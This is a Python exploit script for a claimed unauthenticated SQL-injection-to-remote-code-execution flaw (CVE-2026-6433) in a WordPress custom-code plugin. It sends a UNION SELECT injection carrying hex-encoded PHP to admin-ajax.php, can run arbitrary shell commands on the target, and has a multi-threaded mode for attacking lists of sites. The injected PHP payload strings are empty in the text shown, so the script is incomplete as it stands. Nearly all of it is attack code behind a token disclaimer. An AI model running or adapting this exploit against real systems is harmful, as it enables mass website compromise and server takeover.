#!/usr/bin/env python3 """ CVE-2026-6433 PoC: FlipperCode Custom CSS, JS & PHP <= 2.0.7 Unauthenticated SQL injection chained to remote code execution via eval(). Discovery: Dr. John Umoru, ClarenSec Limited. Bulk / multi-threaded mode: https://github.com/murrez Usage (single target): python3 CVE-2026-6433.py https://target.com --php-only --no-cleanup python3 CVE-2026-6433.py https://target.com --cleanup-only python3 CVE-2026-6433.py https://target.com --command "id" Usage (bulk scan from file, one URL per line): python3 CVE-2026-6433.py --bulk targets.txt --threads 8 DISCLAIMER ---------- For educational and defensive research only. Use only on systems you own or have explicit written permission to test. No responsibility for misuse. """ import sys import time import threading import urllib.request import urllib.parse import urllib.error import ssl import argparse from concurrent.futures import ThreadPoolExecutor, as_completed print_lock = threading.Lock() def safe_print(*a, **kw): with print_lock: print(*a, **kw, flush=True) def req(url, data=None): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE if data and isinstance(data, dict): data = urllib.parse.urlencode(data).encode() r = urllib.request.Request(url, data=data, method='POST' if data else 'GET') try: resp = urllib.request.urlopen(r, context=ctx, timeout=15) return resp.status, resp.read().decode('utf-8', 'replace') except urllib.error.HTTPError as e: body = e.read().decode('utf-8', 'replace') if hasattr(e, 'read') else '' return e.code, body except Exception as e: return 0, str(e) def inject(ajax_url, php_code): php_hex = '0x' + php_code.encode().hex() sqli = f"0 UNION SELECT 1,'t','php',{php_hex},'header','',0,1-- " return req(ajax_url, { 'action': 'fc_ajax_call', 'operation': 'wce_editor_inline_code', 'id': sqli, }) def read_bulk_lines(path): targets = [] with open(path, encoding='utf-8') as f: for line in f: line = line.strip() if not line or line.startswith('#'): continue targets.append(line.rstrip('/')) return targets def build_php_payload(args, proof_name): if args.php_only or args.command is None: return ( '' ) cmd = args.command.replace('"', '\\"') return ( '' ) def run_exploit(base, args): """ Run one target. Returns (success: bool, detail: str). """ base = base.rstrip('/') ajax = f"{base}/wp-admin/admin-ajax.php" proof_name = args.proof_name proof_url = f"{base}/{proof_name}" if args.cleanup_only: inject(ajax, "") time.sleep(1) c, _ = req(proof_url) msg = f"{'Removed' if c == 404 else 'Still exists'}: {proof_url}" return True, msg code, body = req(ajax, {'action': 'fc_ajax_call', 'operation': 'processor'}) if 'flippercode' not in body.lower() and 'custom css' not in body.lower(): return False, f"plugin not active or handler blocked (HTTP {code})" php = build_php_payload(args, proof_name) code, _ = inject(ajax, php) if code not in (200, 500): return False, f"payload delivery returned HTTP {code}" time.sleep(1) code, body = req(proof_url) if code != 200 or not body.strip(): return False, f"proof file not found at {proof_url}" out = body.strip() if args.command else proof_url if not args.no_cleanup: inject(ajax, "") return True, out def worker_bulk(url, args): try: ok, detail = run_exploit(url, args) return url, ok, detail except Exception as e: return url, False, str(e) def main(): p = argparse.ArgumentParser( description=( 'FlipperCode Custom CSS, JS & PHP: unauthenticated SQLi to RCE (CVE-2026-6433). ' 'Bulk mode: https://github.com/murrez' ), epilog=( 'Discovery: Dr. John Umoru, ClarenSec Limited. ' 'Bulk / threading: https://github.com/murrez' ), ) p.add_argument( 'target', nargs='?', default=None, help='Single WordPress base URL (omit when using --bulk)', ) p.add_argument('--command', default=None, help='Shell command to run (needs shell_exec or similar)') p.add_argument('--php-only', action='store_true', help='Write PHP-only proof (shared hosting friendly)') p.add_argument('--no-cleanup', action='store_true', help='Do not delete the proof file after run') p.add_argument('--proof-name', default='rce-proof.txt', help='Remote proof filename (default: rce-proof.txt)') p.add_argument('--cleanup-only', action='store_true', help='Only remove the proof file and exit') # Bulk (multi-threaded) scanning p.add_argument( '--bulk', metavar='FILE', default=None, help='Path to a file with one target URL per line (# and blank lines ignored)', ) p.add_argument( '--threads', type=int, default=5, metavar='N', help='Number of concurrent workers for --bulk (default: 5)', ) args = p.parse_args() if args.bulk: if args.target: p.error('Provide either a single target URL or --bulk FILE, not both.') try: targets = read_bulk_lines(args.bulk) except OSError as e: print(f"FAIL: cannot read bulk file: {e}", file=sys.stderr) sys.exit(1) if not targets: print('FAIL: bulk file contains no valid targets', file=sys.stderr) sys.exit(1) if args.threads < 1: p.error('--threads must be 1 or greater') safe_print( f'[Bulk scan] {len(targets)} target(s), {args.threads} worker thread(s)' ) failures = [] with ThreadPoolExecutor(max_workers=min(args.threads, len(targets))) as ex: futures = {ex.submit(worker_bulk, t, args): t for t in targets} for fut in as_completed(futures): url, ok, detail = fut.result() if ok: safe_print(f'[OK] {url}') if detail and not args.cleanup_only: for line in detail.splitlines(): safe_print(f' {line}') else: safe_print(f'[FAIL] {url}: {detail}') failures.append(url) if failures: safe_print( f'[Bulk scan] finished: {len(failures)} failed out of {len(targets)}' ) sys.exit(1) safe_print(f'[Bulk scan] finished: all {len(targets)} target(s) succeeded') sys.exit(0) if not args.target: p.error('A target URL is required unless you pass --bulk FILE') ok, detail = run_exploit(args.target, args) if not ok: print(f'FAIL: {detail}') sys.exit(1) print(detail) sys.exit(0) if __name__ == '__main__': main()